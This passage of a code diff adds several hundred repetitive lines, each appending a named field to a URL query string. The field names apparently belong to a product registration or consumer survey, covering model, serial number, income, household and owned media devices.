+ +"&OCCO="+OCCO
+ +"&MODL="+MODL
+ +"&SRNU="+SRNU
+ +"&MNTH="+MNTH
+ +"&YEAR="+YEAR
+ +"&POPR="+POPR
+ +"&OPOP="+OPOP
+ +"&WHEN="+WHEN
+ +"&INFL="+INFL
+ +"&FNDS="+FNDS
+ +"&WGFT="+WGFT
+ +"&HM01="+HM01
+ +"&HM02="+HM02
+ +"&HM03="+HM03
+ +"&HM04="+HM04
+ +"&HM05="+HM05
+ +"&HM06="+HM06
+ +"&HM07="+HM07
+ +"&HM08="+HM08
+ +"&HM09="+HM09
+ +"&HM10="+HM10
+ +"&HM11="+HM11
+ +"&HM12="+HM12
+ +"&HM13="+HM13
+ +"&HM14="+HM14
+ +"&HM15="+HM15
+ +"&HM16="+HM16
+ +"&HM17="+HM17
+ +"&HM18="+HM18
+ +"&HM19="+HM19
+ +"&HM20="+HM20
+ +"&HM21="+HM21
+ +"&HM22="+HM22
+ +"&HM23="+HM23
+ +"&HM24="+HM24
+ +"&HS01="+HS01
+ +"&HS02="+HS02
+ +"&HS03="+HS03
+ +"&HS04="+HS04
+ +"&HS05="+HS05
+ +"&HS06="+HS06
+ +"&HS07="+HS07
+ +"&HS08="+HS08
+ +"&HS09="+HS09
+ +"&HS10="+HS10
+ +"&HS11="+HS11
+ +"&HS12="+HS12
+ +"&HS13="+HS13
+ +"&HS14="+HS14
+ +"&HS15="+HS15
+ +"&HS16="+HS16
+ +"&HS17="+HS17
+ +"&HS18="+HS18
+ +"&HS19="+HS19
+ +"&HS20="+HS20
+ +"&HS21="+HS21
+ +"&HS22="+HS22
+ +"&HS23="+HS23
+ +"&HS24="+HS24
+ +"&PL01="+PL01
+ +"&PL02="+PL02
+ +"&PL03="+PL03
+ +"&PL04="+PL04
+ +"&PL05="+PL05
+ +"&PL06="+PL06
+ +"&PL07="+PL07
+ +"&PL08="+PL08
+ +"&PL09="+PL09
+ +"&PL10="+PL10
+ +"&PL11="+PL11
+ +"&PL12="+PL12
+ +"&PL13="+PL13
+ +"&PL14="+PL14
+ +"&PL15="+PL15
+ +"&PL16="+PL16
+ +"&PL17="+PL17
+ +"&PL18="+PL18
+ +"&PL19="+PL19
+ +"&PL20="+PL20
+ +"&PL21="+PL21
+ +"&PL22="+PL22
+ +"&PL23="+PL23
+ +"&PL24="+PL24
+ +"&TVSO="+TVSO
+ +"&CE01="+CE01
+ +"&CE02="+CE02
+ +"&NEMA="+NEMA
+ +"&PPUR="+PPUR
+ +"&PPUO="+PPUO
+ +"&CON1="+CON1
+ +"&CON2="+CON2
+ +"&CON3="+CON3
+ +"&STNM="+STNM
+ +"&FE01="+FE01
+ +"&FE02="+FE02
+ +"&FE03="+FE03
+ +"&FE04="+FE04
+ +"&FE05="+FE05
+ +"&FE06="+FE06
+ +"&FE07="+FE07
+ +"&FE08="+FE08
+ +"&FE09="+FE09
+ +"&FE10="+FE10
+ +"&FE11="+FE11
+ +"&FE12="+FE12
+ +"&FE13="+FE13
+ +"&FE14="+FE14
+ +"&FE15="+FE15
+ +"&FE16="+FE16
+ +"&FE17="+FE17
+ +"&FE18="+FE18
+ +"&FE19="+FE19
+ +"&FE20="+FE20
+ +"&FE21="+FE21
+ +"&FE22="+FE22
+ +"&FE23="+FE23
+ +"&FE24="+FE24
+ +"&FE25="+FE25
+ +"&FE26="+FE26
+ +"&FE27="+FE27
+ +"&FE28="+FE28
+ +"&FE29="+FE29
+ +"&FE30="+FE30
+ +"&FE31="+FE31
+ +"&FE32="+FE32
+ +"&FE33="+FE33
+ +"&FE34="+FE34
+ +"&FEOT="+FEOT
+ +"&NF01="+NF01
+ +"&NF02="+NF02
+ +"&NF03="+NF03
+ +"&NF04="+NF04
+ +"&NF05="+NF05
+ +"&NF06="+NF06
+ +"&NF07="+NF07
+ +"&NF08="+NF08
+ +"&NF09="+NF09
+ +"&NF10="+NF10
+ +"&NF11="+NF11
+ +"&NF12="+NF12
+ +"&NF13="+NF13
+ +"&NF14="+NF14
+ +"&NF15="+NF15
+ +"&NF16="+NF16
+ +"&NF17="+NF17
+ +"&NF18="+NF18
+ +"&NF19="+NF19
+ +"&NFOT="+NFOT
+ +"&OSYS="+OSYS
+ +"&OSOT="+OSOT
+ +"&IMGS="+IMGS
+ +"&PBY1="+PBY1
+ +"&PBY2="+PBY2
+ +"&PBY3="+PBY3
+ +"&PBY4="+PBY4
+ +"&PBY5="+PBY5
+ +"&PBY6="+PBY6
+ +"&PBY7="+PBY7
+ +"&PBY8="+PBY8
+ +"&OPBY="+OPBY
+ +"&OWNC="+OWNC
+ +"&CUSE="+CUSE
+ +"&OCUS="+OCUS
+ +"&WCAM="+WCAM
+ +"&OC01="+OC01
+ +"&OC02="+OC02
+ +"&OC03="+OC03
+ +"&OC04="+OC04
+ +"&OC05="+OC05
+ +"&OC06="+OC06
+ +"&OC07="+OC07
+ +"&OC08="+OC08
+ +"&OC09="+OC09
+ +"&OC10="+OC10
+ +"&OC11="+OC11
+ +"&CU01="+CU01
+ +"&CU02="+CU02
+ +"&CU03="+CU03
+ +"&CU04="+CU04
+ +"&CU05="+CU05
+ +"&CU06="+CU06
+ +"&CU07="+CU07
+ +"&CU08="+CU08
+ +"&CU09="+CU09
+ +"&CU10="+CU10
+ +"&PLYB="+PLYB
+ +"&CCON="+CCON
+ +"&BC01="+BC01
+ +"&BC02="+BC02
+ +"&BC03="+BC03
+ +"&BC04="+BC04
+ +"&BC05="+BC05
+ +"&BC06="+BC06
+ +"&IN01="+IN01
+ +"&IN02="+IN02
+ +"&IN03="+IN03
+ +"&IN04="+IN04
+ +"&IN05="+IN05
+ +"&IN06="+IN06
+ +"&IN07="+IN07
+ +"&IN08="+IN08
+ +"&IN09="+IN09
+ +"&IN10="+IN10
+ +"&IN11="+IN11
+ +"&IN12="+IN12
+ +"&IN13="+IN13
+ +"&IN14="+IN14
+ +"&IN15="+IN15
+ +"&FI01="+FI01
+ +"&FI02="+FI02
+ +"&FI03="+FI03
+ +"&FI04="+FI04
+ +"&FI05="+FI05
+ +"&FI06="+FI06
+ +"&FI07="+FI07
+ +"&FI08="+FI08
+ +"&FI09="+FI09
+ +"&FI10="+FI10
+ +"&FI11="+FI11
+ +"&FI12="+FI12
+ +"&FI13="+FI13
+ +"&FI14="+FI14
+ +"&FI15="+FI15
+ +"&FI16="+FI16
+ +"&FI17="+FI17
+ +"&FI18="+FI18
+ +"&FI19="+FI19
+ +"&FI20="+FI20
+ +"&FI21="+FI21
+ +"&FI22="+FI22
+ +"&FI23="+FI23
+ +"&FI24="+FI24
+ +"&FI25="+FI25
+ +"&FI26="+FI26
+ +"&FI27="+FI27
+ +"&FI28="+FI28
+ +"&FI29="+FI29
+ +"&FI30="+FI30
+ +"&FI31="+FI31
+ +"&FI32="+FI32
+ +"&FI33="+FI33
+ +"&FI34="+FI34
+ +"&FI35="+FI35
+ +"&FI36="+FI36
+ +"&FI37="+FI37
+ +"&FI38="+FI38
+ +"&FI39="+FI39
+ +"&FI40="+FI40
+ +"&FI41="+FI41
+ +"&FI42="+FI42
+ +"&FI43="+FI43
+ +"&FI44="+FI44
+ +"&FI45="+FI45
+ +"&FI46="+FI46
+ +"&FI47="+FI47
+ +"&FI48="+FI48
+ +"&FI49="+FI49
+ +"&FI50="+FI50
+ +"&FI51="+FI51
+ +"&FI52="+FI52
+ +"&FI53="+FI53
+ +"&FI54="+FI54
+ +"&FI55="+FI55
+ +"&FI56="+FI56
+ +"&FI57="+FI57
+ +"&FI58="+FI58
+ +"&FF01="+FF01
+ +"&FF02="+FF02
+ +"&FF03="+FF03
+ +"&FF04="+FF04
+ +"&FF05="+FF05
+ +"&FF06="+FF06
+ +"&FF07="+FF07
+ +"&FF08="+FF08
+ +"&FF09="+FF09
+ +"&FF10="+FF10
+ +"&FF11="+FF11
+ +"&FF12="+FF12
+ +"&FF13="+FF13
+ +"&FF14="+FF14
+ +"&FF15="+FF15
+ +"&FF16="+FF16
+ +"&FF17="+FF17
+ +"&FF18="+FF18
+ +"&FF19="+FF19
+ +"&FF20="+FF20
+ +"&FF21="+FF21
+ +"&FF22="+FF22
+ +"&PPQT="+PPQT
+ +"&PSQT="+PSQT
+ +"&LCDQ="+LCDQ
+ +"&NITQ="+NITQ
+ +"&NTSQ="+NTSQ
+ +"&GENQ="+GENQ
+ +"&DSNQ="+DSNQ
+ +"&OPMQ="+OPMQ
+ +"&PRCQ="+PRCQ
+ +"&BATQ="+BATQ
+ +"&CMPQ="+CMPQ
+ +"&DSCQ="+DSCQ
+ +"&MSSQ="+MSSQ
+ +"&MSIQ="+MSIQ
+ +"&PGSQ="+PGSQ
+ +"&PCPQ="+PCPQ
+ +"&AO01="+AO01
+ +"&AO02="+AO02
+ +"&AO03="+AO03
+ +"&AO04="+AO04
+ +"&AO05="+AO05
+ +"&AO06="+AO06
+ +"&AO07="+AO07
+ +"&AO08="+AO08
+ +"&AO09="+AO09
+ +"&AO10="+AO10
+ +"&AO11="+AO11
+ +"&AO12="+AO12
+ +"&AO13="+AO13
+ +"&AO14="+AO14
+ +"&AO15="+AO15
+ +"&AO16="+AO16
+ +"&AO17="+AO17
+ +"&AO18="+AO18
+ +"&AO19="+AO19
+ +"&AO20="+AO20
+ +"&AO21="+AO21
+ +"&AO22="+AO22
+ +"&AO23="+AO23
+ +"&AO24="+AO24
+ +"&AO25="+AO25
+ +"&AO26="+AO26
+ +"&AO27="+AO27
+ +"&AO28="+AO28
+ +"&AO29="+AO29
+ +"&AO30="+AO30
+ +"&AO31="+AO31
+ +"&AO32="+AO32
+ +"&AO33="+AO33
+ +"&AO34="+AO34
+ +"&AO35="+AO35
+ +"&IS01="+IS01
+ +"&IS02="+IS02
+ +"&IS03="+IS03
+ +"&IS04="+IS04
+ +"&IS05="+IS05
+ +"&IS06="+IS06
+ +"&IS07="+IS07
+ +"&IS08="+IS08
+ +"&IS09="+IS09
+ +"&IS10="+IS10
+ +"&IS11="+IS11
+ +"&IS12="+IS12
+ +"&IS13="+IS13
+ +"&IS14="+IS14
+ +"&IS15="+IS15
+ +"&IS16="+IS16
+ +"&IS17="+IS17
+ +"&IS18="+IS18
+ +"&IS19="+IS19
+ +"&IS20="+IS20
+ +"&IS21="+IS21
+ +"&IS22="+IS22
+ +"&IS23="+IS23
+ +"&IS24="+IS24
+ +"&IS25="+IS25
+ +"&IS26="+IS26
+ +"&IS27="+IS27
+ +"&IS28="+IS28
+ +"&IS29="+IS29
+ +"&IS30="+IS30
+ +"&IS31="+IS31
+ +"&IS32="+IS32
+ +"&IS33="+IS33
+ +"&IS34="+IS34
+ +"&IS35="+IS35
+ +"&B601="+B601
+ +"&B602="+B602
+ +"&B603="+B603
+ +"&B604="+B604
+ +"&B605="+B605
+ +"&B606="+B606
+ +"&B607="+B607
+ +"&B608="+B608
+ +"&B609="+B609
+ +"&B610="+B610
+ +"&B611="+B611
+ +"&B612="+B612
+ +"&B613="+B613
+ +"&B614="+B614
+ +"&B615="+B615
+ +"&B616="+B616
+ +"&B617="+B617
+ +"&B618="+B618
+ +"&B619="+B619
+ +"&B620="+B620
+ +"&B621="+B621
+ +"&B622="+B622
+ +"&B623="+B623
+ +"&B624="+B624
+ +"&B625="+B625
+ +"&B626="+B626
+ +"&B627="+B627
+ +"&B628="+B628
+ +"&B629="+B629
+ +"&B630="+B630
+ +"&B631="+B631
+ +"&B632="+B632
+ +"&B633="+B633
+ +"&B634="+B634
+ +"&B635="+B635
+ +"&CTYP="+CTYP
+ +"&AO36="+AO36
+ +"&AO37="+AO37
+ +"&IS36="+IS36
+ +"&IS37="+IS37
+ +"&B636="+B636
+ +"&B637="+B637
+ +"&FA01="+FA01
+ +"&FA02="+FA02
+ +"&FA03="+FA03
+ +"&FA04="+FA04
+ +"&FA05="+FA05
+ +"&FA06="+FA06
+ +"&FA07="+FA07
+ +"&FA08="+FA08
+ +"&FA09="+FA09
+ +"&FA10="+FA10
+ +"&FA11="+FA11
+ +"&FA12="+FA12
+ +"&FA13="+FA13
+ +"&FA14="+FA14
+ +"&FA15="+FA15
+ +"&FA16="+FA16
+ +"&FA17="+FA17
+ +"&FA18="+FA18
+ +"&FA19="+FA19
+ +"&FA20="+FA20
+ +"&FA21="+FA21
+ +"&FA22="+FA22
+ +"&FA23="+FA23
+ +"&FA24="+FA24
+ +"&FA25="+FA25
+ +"&FA26="+FA26
+ +"&FA27="+FA27
+ +"&SI01="+SI01
+ +"&SI02="+SI02
+ +"&SI03="+SI03
+ +"&SI04="+SI04
+ +"&SI05="+SI05
+ +"&SI06="+SI06
+ +"&SI07="+SI07
+ +"&SI08="+SI08
+ +"&SI09="+SI09
+ +"&SI10="+SI10
+ +"&SI11="+SI11
+ +"&SI12="+SI12
+ +"&SI13="+SI13
+ +"&SI14="+SI14
+ +"&SI15="+SI15
+ +"&SI16="+SI16
+ +"&SI17="+SI17
+ +"&SI18="+SI18
+ +"&SI19="+SI19
+ +"&SI20="+SI20
+ +"&SI21="+SI21
+ +"&SI22="+SI22
+ +"&SI23="+SI23
+ +"&SI24="+SI24
+ +"&SI25="+SI25
+ +"&SI26="+SI26
+ +"&SI27="+SI27
+ +"&II01="+II01
+ +"&II02="+II02
+ +"&II03="+II03
+ +"&II04="+II04
+ +"&II05="+II05
+ +"&II06="+II06
+ +"&II07="+II07
+ +"&II08="+II08
+ +"&II09="+II09
+ +"&II10="+II10
+ +"&OB01="+OB01
+ +"&OB02="+OB02
+ +"&OB03="+OB03
+ +"&OB04="+OB04
+ +"&PUCO="+PUCO
+ +"&SI28="+SI28
+ +"&SI29="+SI29
+ +"&SI30="+SI30
+ +"&SI31="+SI31
+ +"&SI32="+SI32
+ +"&SI33="+SI33
+ +"&SI34="+SI34
+ +"&SI35="+SI35
+ +"&SI36="+SI36
+ +"&SI37="+SI37
+ +"&SI38="+SI38
+ +"&SI39="+SI39
+ +"&SI40="+SI40
+ +"&SI41="+SI41
+ +"&II11="+II11
+ +"&II12="+II12
+ +"&II13="+II13
+ +"&II14="+II14
+ +"&SF01="+SF01
+ +"&SF02="+SF02
+ +"&SF03="+SF03
+ +"&SF04="+SF04
+ +"&SF05="+SF05
+ +"&SF06="+SF06
+ +"&SF07="+SF07
+ +"&SF08="+SF08
+ +"&SF09="+SF09
+ +"&SF10="+SF10
+ +"&SF11="+SF11
+ +"&SF12="+SF12
+ +"&SF13="+SF13
+ +"&SF14="+SF14
+ +"&SF15="+SF15
+ +"&SF16="+SF16
+ +"&SF17="+SF17
+ +"&SF18="+SF18
+ +"&SF19="+SF19
+ +"&SF20="+SF20
+ +"&SF21="+SF21
+ +"&SF22="+SF22
+ +"&SF23="+SF23
+ +"&SF24="+SF24
+ +"&SF25="+SF25
+ +"&SF26="+SF26
+ +"&SF27="+SF27
+ +"&SF28="+SF28
+ +"&SF29="+SF29
+ +"&SF30="+SF30
+ +"&SF31="+SF31
+ +"&SF32="+SF32
+ +"&SF33="+SF33
+ +"&SF34="+SF34
+ +"&SF35="+SF35
+ +"&SF36="+SF36
+ +"&SF37="+SF37
+ +"&SF38="+SF38
+ +"&SF39="+SF39
+ +"&SF40="+SF40
+ +"&SF41="+SF41
+ +"&SF42="+SF42
+ +"&SF43="+SF43
+ +"&SF44="+SF44
+ +"&SF45="+SF45
+ +"&SF46="+SF46
+ +"&SF47="+SF47
+ +"&SF48="+SF48
+ +"&SF49="+SF49
+ +"&FA28="+FA28
+ +"&FA29="+FA29
+ +"&FA30="+FA30
+ +"&FA31="+FA31
+ +"&AO38="+AO38
+ +"&IS38="+IS38
+ +"&B638="+B638
+ +"&PRMU="+PRMU
+ +"&PRMO="+PRMO
+ +"&CAMU="+CAMU
+ +"&CAMO="+CAMO
+ +"&INDU="+INDU
+ +"&INDO="+INDO
+ +"&INDH="+INDH
+ +"&II15="+II15
+ +"&II16="+II16
+ +"&II17="+II17
+ +"&II18="+II18
+ +"&II19="+II19
+ +"&II20="+II20
+ +"&PLYP="+PLYP
+ +"&WEDT="+WEDT
+ +"&FM01="+FM01
+ +"&FM02="+FM02
+ +"&FM03="+FM03
+ +"&FM04="+FM04
+ +"&FM05="+FM05
+ +"&FM06="+FM06
+ +"&FM07="+FM07
+ +"&FM08="+FM08
+ +"&FM09="+FM09
+ +"&FM10="+FM10
+ +"&FM11="+FM11
+ +"&FM12="+FM12
+ +"&FM13="+FM13
+ +"&FM14="+FM14
+ +"&FM15="+FM15
+ +"&FM16="+FM16
+ +"&FM17="+FM17
+ +"&FM18="+FM18
+ +"&FM19="+FM19
+ +"&FM20="+FM20
+ +"&FM21="+FM21
+ +"&FM22="+FM22
+ +"&FM23="+FM23
+ +"&FM24="+FM24
+ +"&FM25="+FM25
+ +"&FM26="+FM26
+ +"&FM27="+FM27
+ +"&FL01="+FL01
+ +"&FL02="+FL02
+ +"&FL03="+FL03
+ +"&FL04="+FL04
+ +"&FL05="+FL05
+ +"&FL06="+FL06
+ +"&FL07="+FL07
+ +"&FL08="+FL08
+ +"&FL09="+FL09
+ +"&FL10="+FL10
+ +"&FL11="+FL11
+ +"&FL12="+FL12
+ +"&FL13="+FL13
+ +"&FL14="+FL14
+ +"&FL15="+FL15
+ +"&FL16="+FL16
+ +"&FL17="+FL17
+ +"&FL18="+FL18
+ +"&FL19="+FL19
+ +"&FL20="+FL20
+ +"&FL21="+FL21
+ +"&FL22="+FL22
+ +"&FL23="+FL23
+ +"&FL24="+FL24
+ +"&FL25="+FL25
+ +"&FL26="+FL26
+ +"&FL27="+FL27
+ +"&AE01="+AE01
+ +"&AE02="+AE02
+ +"&AE03="+AE03
+ +"&AE04="+AE04
+ +"&AE05="+AE05
+ +"&AE06="+AE06
+ +"&AE07="+AE07
+ +"&AE08="+AE08
+ +"&AE09="+AE09
+ +"&AE10="+AE10
+ +"&AP01="+AP01
+ +"&AP02="+AP02
+ +"&AP03="+AP03
+ +"&AP04="+AP04
+ +"&AP05="+AP05
+ +"&AP06="+AP06
+ +"&AP07="+AP07
+ +"&AP08="+AP08
+ +"&AP09="+AP09
+ +"&AP10="+AP10
+ +"&AG01="+AG01
+ +"&AG02="+AG02
+ +"&AG03="+AG03
+ +"&AG04="+AG04
+ +"&AG05="+AG05
+ +"&AG06="+AG06
+ +"&AG07="+AG07
+ +"&AG08="+AG08
+ +"&AG09="+AG09
+ +"&AG10="+AG10
+ +"&AF01="+AF01
+ +"&AF02="+AF02
+ +"&AF03="+AF03
+ +"&AF04="+AF04
+ +"&AF05="+AF05
+ +"&AF06="+AF06
+ +"&AF07="+AF07
+ +"&AF08="+AF08
+ +"&AF09="+AF09
+ +"&AF10="+AF10
+ +"&BA01="+BA01
+ +"&BA02="+BA02
+ +"&BA03="+BA03
+ +"&BA04="+BA04
+ +"&BA05="+BA05
+ +"&BA06="+BA06
+ +"&BA07="+BA07
+ +"&BA08="+BA08
+ +"&BA09="+BA09
+ +"&BA10="+BA10
+ +"&BA11="+BA11
+ +"&BA12="+BA12
+ +"&BA13="+BA13
+ +"&BA14="+BA14
+ +"&BA15="+BA15
+ +"&CNCT="+CNCT
+ +"&TCNT="+TCNT
+ +"&OCNT="+OCNT
+ +"&CMNT="+CMNT
+ +"&PTYP="+PTYP
+ +"&REPS="+REPS
+ +"&REPO="+REPO
+ +"&SDIS="+SDIS
+ +"&SDSO="+SDSO
+ +"&WUSE="+WUSE
+ +"&WUSO="+WUSO
+ +"&RF01="+RF01
+ +"&RF02="+RF02
+ +"&RF03="+RF03
+ +"&RF04="+RF04
+ +"&RF05="+RF05
+ +"&RF06="+RF06
+ +"&RF07="+RF07
+ +"&RF08="+RF08
+ +"&RFOT="+RFOT
+ +"&MOUF="+MOUF
+ +"&MOFO="+MOFO
+ +"&CO01="+CO01
+ +"&CO02="+CO02
+ +"&CO03="+CO03
+ +"&CO04="+CO04
+ +"&CO05="+CO05
+ +"&CO06="+CO06
+ +"&CO07="+CO07
+ +"&WC01="+WC01
+ +"&WC02="+WC02
+ +"&WC03="+WC03
+ +"&WC04="+WC04
+ +"&WC05="+WC05
+ +"&WC06="+WC06
+ +"&WC07="+WC07
+ +"&DVDS="+DVDS
+ +"&CDDS="+CDDS
+ +"&MINI="+MINI
+ +"&RCRD="+RCRD
+ +"&TAPE="+TAPE
+ +"&FDVD="+FDVD
+ +"&ODVD="+ODVD
+ +"&NCHD="+NCHD
+ +"&INCM="+INCM
+ +"&HTYP="+HTYP
+ +"&AOLE="+AOLE
+ +"&COLE="+COLE
+ +"&OOLE="+OOLE
+ +"&HM25="+HM25
+ +"&HM26="+HM26
+ +"&HM27="+HM27
+ +"&HS25="+HS25
+ +"&HS26="+HS26
+ +"&HS27="+HS27
+ +"&PL25="+PL25
+ +"&PL26="+PL26
+ +"&PL27="+PL27
+ +"&IF01="+IF01
+ +"&IF02="+IF02
+ +"&IF03="+IF03
+ +"&IF04="+IF04
+ +"&IF05="+IF05
+ +"&IF06="+IF06
+ +"&IF07="+IF07
+ +"&IF08="+IF08
+ +"&IF09="+IF09
+ +"&IF10="+IF10
+ +"&IF11="+IF11
+ +"&IF12="+IF12
+ +"&IF13="+IF13
+ +"&IF14="+IF14
+ +"&IF15="+IF15
+ +"&IF16="+IF16
+ +"&IF17="+IF17
+ +"&IF18="+IF18
+ +"&IF19="+IF19
+ +"&IF20="+IF20
+ +"&IF21="+IF21
+ +"&IF22="+IF22
+ +"&IF23="+IF23
+ +"&IF24="+IF24
+ +"&IF25="+IF25
+ +"&IF26="+IF26
+ +"&IF27="+IF27
+ +"&IF28="+IF28
+ +"&IF29="+IF29
+ +"&IF30="+IF30
+ +"&IF31="+IF31
+ +"&IF32="+IF32
+ +"&IF33="+IF33
+ +"&IF34="+IF34
+ +"&IF35="+IF35
+ +"&IF36="+IF36
+ +"&IF37="+IF37
+ +"&IF38="+IF38
+ +"&IF39="+IF39
+ +"&IF40="+IF40
+ +"&IF41="+IF41
+ +"&IFOT="+IFOT
+ +"&MA01="+MA01
+ +"&MA02="+MA02
+ +"&MA03="+MA03
+ +"&MA04="+MA04
+ +"&MA05="+MA05
+ +"&MA06="+MA06
+ +"&MA07="+MA07
+ +"&MA08="+MA08
+ +"&MA09="+MA09
+ +"&MA10="+MA10
+ +"&MA11="+MA11
+ +"&MA12="+MA12
+ +"&MA13="+MA13
+ +"&MA14="+MA14
+ +"&MA15="+MA15
+ +"&MA16="+MA16
+ +"&MA17="+MA17
+ +"&MA18="+MA18
+ +"&MA19="+MA19
+ +"&MA20="+MA20
+ +"&MA21="+MA21
+ +"&MA22="+MA22
+ +"&MA23="+MA23
+ +"&MA24="+MA24
+ +"&MA25="+MA25
+ +"&MA26="+MA26
+ +"&MAOT="+MAOT
+ +"&OF01="+OF01
+ +"&OF02="+OF02
+ +"&OF03="+OF03
+ +"&OF04="+OF04
+ +"&OF05="+OF05
+ +"&OF06="+OF06
+ +"&OF07="+OF07
+ +"&OF08="+OF08
+ +"&OF09="+OF09
+ +"&OF10="+OF10
+ +"&OF11="+OF11
+ +"&OF12="+OF12
+ +"&OF13="+OF13
+ +"&OF14="+OF14
+ +"&OF15="+OF15
+ +"&OF16="+OF16
+ +"&OF17="+OF17
+ +"&OF18="+OF18
+ +"&OF19="+OF19
+ +"&OS01="+OS01
+ +"&OS02="+OS02
+ +"&OS03="+OS03
+ +"&OS04="+OS04
+ +"&OS05="+OS05
+ +"&OS06="+OS06
+ +"&OS07="+OS07
+ +"&OS08="+OS08
+ +"&OS09="+OS09
+ +"&OS10="+OS10
+ +"&OS11="+OS11
+ +"&OS12="+OS12
+ +"&OS13="+OS13
+ +"&OS14="+OS14
+ +"&OS15="+OS15
+ +"&OS16="+OS16
+ +"&OS17="+OS17
+ +"&OS18="+OS18
+ +"&OS19="+OS19
+ +"&BR01="+BR01
+ +"&BR02="+BR02
+ +"&BR03="+BR03
+ +"&BR04="+BR04
+ +"&BR05="+BR05
+ +"&BR06="+BR06
+ +"&BR07="+BR07
+ +"&BR08="+BR08
+ +"&BR09="+BR09
+ +"&BR10="+BR10
+ +"&BR11="+BR11
+ +"&BR12="+BR12
+ +"&BR13="+BR13
+ +"&BR14="+BR14
+ +"&BR15="+BR15
+ +"&BR16="+BR16
+ +"&BR17="+BR17
+ +"&BR18="+BR18
+ +"&BR19="+BR19
+ +"&FC01="+FC01
+ +"&FC02="+FC02
+ +"&FC03="+FC03
+ +"&FC04="+FC04
+ +"&FC05="+FC05
+ +"&FC06="+FC06
+ +"&FC07="+FC07
+ +"&FC08="+FC08
+ +"&FC09="+FC09
+ +"&FC10="+FC10
+ +"&FC11="+FC11
+ +"&FC12="+FC12
+ +"&FC13="+FC13
+ +"&FC14="+FC14
+ +"&FC15="+FC15
+ +"&FC16="+FC16
+ +"&FC17="+FC17
+ +"&UNET="+UNET
+ +"&MARS="+MARS
+ +"&EWAR="+EWAR
+ +"&OCOT="+OCOT
+ +"&CG00="+CG00
+ +"&CG01="+CG01
+ +"&CG02="+CG02
+ +"&CG03="+CG03
+ +"&CG04="+CG04
+ +"&CG05="+CG05
+ +"&CG06="+CG06
+ +"&CG07="+CG07
+ +"&CG08="+CG08
+ +"&CG09="+CG09
+ +"&CG10="+CG10
+ +"&CG11="+CG11
+ +"&COCO="+COCO
+ +"&MI00="+MI00
+ +"&MI01="+MI01
+ +"&MI02="+MI02
+ +"&MI03="+MI03
+ +"&MI04="+MI04
+ +"&MI05="+MI05
+ +"&MI06="+MI06
+ +"&MI07="+MI07
+ +"&MI08="+MI08
+ +"&MI09="+MI09
+ +"&MI10="+MI10
+ +"&MI11="+MI11
+ +"&MI12="+MI12
+ +"&MI13="+MI13
+ +"&MI14="+MI14
+ +"&YD01="+YD01
+ +"&YD02="+YD02
+ +"&YD03="+YD03
+ +"&YD04="+YD04
+ +"&YD05="+YD05
+ +"&YD06="+YD06
+ +"&YD07="+YD07
+ +"&YD08="+YD08
+ +"&YD09="+YD09
+ +"&YD10="+YD10
+ +"&YD11="+YD11
+ +"&YD12="+YD12
+ +"&YD13="+YD13
+ +"&YD14="+YD14
+ +"&YD15="+YD15
+ +"&YD16="+YD16
+ +"&YD17="+YD17
+ +"&YD18="+YD18
+ +"&YD19="+YD19
+ +"&YD20="+YD20
+ +"&YD21="+YD21
+ +"&YD22="+YD22
+ +"&YD23="+YD23
+ +"&YD24="+YD24
+ +"&YD25="+YD25
+ +"&YD26="+YD26
+ +"&YD27="+YD27
+ +"&YD28="+YD28
+ +"&YD29="+YD29
+ +"&YD30="+YD30
+ +"&YD31="+YD31
+ +"&YD32="+YD32
+ +"&YD33="+YD33
+ +"&YD34="+YD34
+ +"&YD35="+YD35
+ +"&YD36="+YD36
+ +"&YD37="+YD37
+ +"&YD38="+YD38
+ +"&YD39="+YD39
+ +"&YD40="+YD40
+ +"&YD41="+YD41
+ +"&YD42="+YD42
+ +"&YD43="+YD43
+ +"&YD44="+YD44
+ +"&YD45="+YD45
+ +"&YD46="+YD46
+ +"&YD47="+YD47
+ +"&YD48="+YD48
+ +"&YD49="+YD49
+ +"&YD50="+YD50
+ +"&YD51="+YD51
+ +"&YD52="+YD52
+ +"&YD53="+YD53
+ +"&YD54="+YD54
+ +"&YD55="+YD55
+ +"&NI00="+NI00
+ +"&NI01="+NI01
+ +"&NI02="+NI02
+ +"&NI03="+NI03
+ +"&NI04="+NI04
+ +"&NI05="+NI05
+ +"&NI06="+NI06
+ +"&NI07="+NI07
+ +"&NI08="+NI08
+ +"&NI09="+NI09
+ +"&NI10="+NI10
+ +"&NI11="+NI11
+ +"&NI12="+NI12
+ +"&NI13="+NI13
+ +"&NI14="+NI14
+ +"&NI15="+NI15
+ +"&NI16="+NI16
+ +"&NI17="+NI17
+ +"&NI18="+NI18
+ +"&NI19="+NI19
+ +"&NI20="+NI20
+ +"&NI21="+NI21
+ +"&NI22="+NI22
+ +"&NI23="+NI23
+ +"&NI24="+NI24
+ +"&NI25="+NI25
+ +"&NI26="+NI26
+ +"&NI27="+NI27
+ +"&NIOT="+NIOT
+ +"&AC01="+AC01
+ +"&AC02="+AC02
+ +"&AC03="+AC03
+ +"&AC04="+AC04
+ +"&AC05="+AC05
+ +"&AC06="+AC06
+ +"&AC07="+AC07
+ +"&AC08="+AC08
+ +"&AC09="+AC09
+ +"&AC10="+AC10
+ +"&AC11="+AC11
+ +"&AC12="+AC12
+ +"&AC13="+AC13
+ +"&AC14="+AC14
+ +"&AC15="+AC15
+ +"&AC16="+AC16
+ +"&AC17="+AC17
+ +"&AC18="+AC18
+ +"&AC19="+AC19
+ +"&AC20="+AC20
+ +"&AC21="+AC21
+ +"&AC22="+AC22
+ +"&AC23="+AC23
+ +"&AC24="+AC24
+ +"&AO39="+AO39
+ +"&IS39="+IS39
+ +"&B639="+B639
+ +"&AO40="+AO40
+ +"&IS40="+IS40
+ +"&B640="+B640
+ +"&AO41="+AO41
+ +"&IS41="+IS41
+ +"&B641="+B641
+ +"&AO42="+AO42
+ +"&IS42="+IS42
+ +"&B642="+B642
+ +"&AO43="+AO43
+ +"&IS43="+IS43
+ +"&B643="+B643
+ +"&EIMG="+EIMG
+ +"&IC01="+IC01
+ +"&IC02="+IC02
+ +"&IC03="+IC03
+ +"&IC04="+IC04
+ +"&IC05="+IC05
+ +"&IC06="+IC06
+ +"&IC07="+IC07
+ +"&ICOT="+ICOT
+ +"&FA32="+FA32
+ +"&EISC="+EISC
+ +"&COLR="+COLR
+ +"&WPOL="+WPOL
+ +"&SF50="+SF50
+ +"&SF51="+SF51
+ +"&SF52="+SF52
+ +"&SF53="+SF53
+ +"&SF54="+SF54
+ +"&MDRI="+MDRI
+ +"&MDIR="+MDIR
+ +"&OB05="+OB05
+ +"&OB06="+OB06
+ +"&OB07="+OB07
+ +"&OB08="+OB08
+ +"&OB09="+OB09
+ +"&OB10="+OB10
+ +"&OB11="+OB11
